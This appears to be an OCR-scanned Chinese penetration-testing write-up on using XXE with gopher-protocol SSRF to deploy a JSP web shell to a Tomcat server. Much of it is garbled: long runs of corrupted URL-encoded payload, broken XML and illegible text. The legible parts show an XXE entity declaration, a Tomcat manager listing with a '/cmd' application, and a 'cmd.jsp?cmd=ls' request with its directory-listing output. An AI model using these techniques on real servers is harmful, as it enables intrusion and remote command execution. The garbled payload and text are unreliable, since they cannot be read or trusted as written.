OX66X69X65K64%3a%20%32H3TE2 TRINRIOR2 FRI2XRINAINAIZXDdXDa%N2 TX
L4%3d%22%4THRL5K54%22%20%4 %4 1%4d%45%3dR22H6dXTIX66X6TET 2H6dN
X20%Le%L1%LdXL5XIdA22H63X6dA6LE22XIeXOdXDAXI CHLIXLeXSOH55%5

FRA46%LTRS2RLdXE3eXDdXDa%3 CRTORT 2X65%3 eXDdXDa%3 cH25XDdXDaX69%E
3d%20%6eX75%6CHROCK29%20ETDEDIXDaN2 DX D% D% 0% 0% 0% DX 0X6TH
X2eX67XE5KTLESDEOLIET 2H61K6dEE5KT LEBSET2H2BE22R6IR6ARELE22H2S
d%20%52%75%6e%7 4X69%6dX65%2 X6 THOSRT 4X52KT 5%6e%T 4X69%6dX65%)
64%22%29%29%3b%0dXDa%20%20%20%20X2IDXIDXIDXIOXLTETSHT LXTOXT 5H
X3b%0dEDaX20%20%20%20X20X20X20X20XL9X6eXTOXTSHTLASIXTLATIHG

PE20%20X20X2DXIVXLLEOLIHT HXO1XL9K6KTDRTSHT LE53KT 4XT 2H65%61%6
DAXDa%20%20%20%20X2DX2VXIDXRIOX53XT LXT 2X69%6eX6TEIDXOLX69%T 3H

X20%20%20%20%20%20%20%20%20%20%20%20%20%50%LDAO1IXO2H1LXO3H]
PXDDXDDXDDXDDXDDXDOXDDX63X6dX6L%2eX6aXT3RTORS0XLDXOSXKO6X00%
2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2d%2dR2dR2dR2dRI 1H3ISXI1X30H

HACK THE PLANET!!1!11!

¥ AR gopher & Apayload H':



<!DOCTYPE Anything [
<!ENTITY xxe SYSTEM " [gopher payload]">
1> B
<book>
<titlersxxe;</title>
<isbn>31337</isbn>
<author>Jon Snow</author>
{fbookﬂ

Add

I A emd H 3k Memd. jspIf REIAT o7 & o

Path Display Name
XXE

==

/lemd

/manager Tomcat Manager Application




€« > C @ © & 192.168.11.139:8080/cmd/cmd jsp?cmd=ls

| | Send

Command: 1s

app
bin
boot
dewv
eto
home
jdk—-6uZ2-linux-x64.bin
lib
libed
media
mnt
opt
proc
root
run
sbin
5YV

B4

HBARGopher h L C LW HB L T LM IEG, HEXBEIE KW VR
e ARG . B REYT KB YR 2 S Ho A U TR ATV 2 R
B

S
https://en.wikipedia.org/wiki/Gopher_(protocol

https://www. leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

https://joychou.org/web/phpssrf.html
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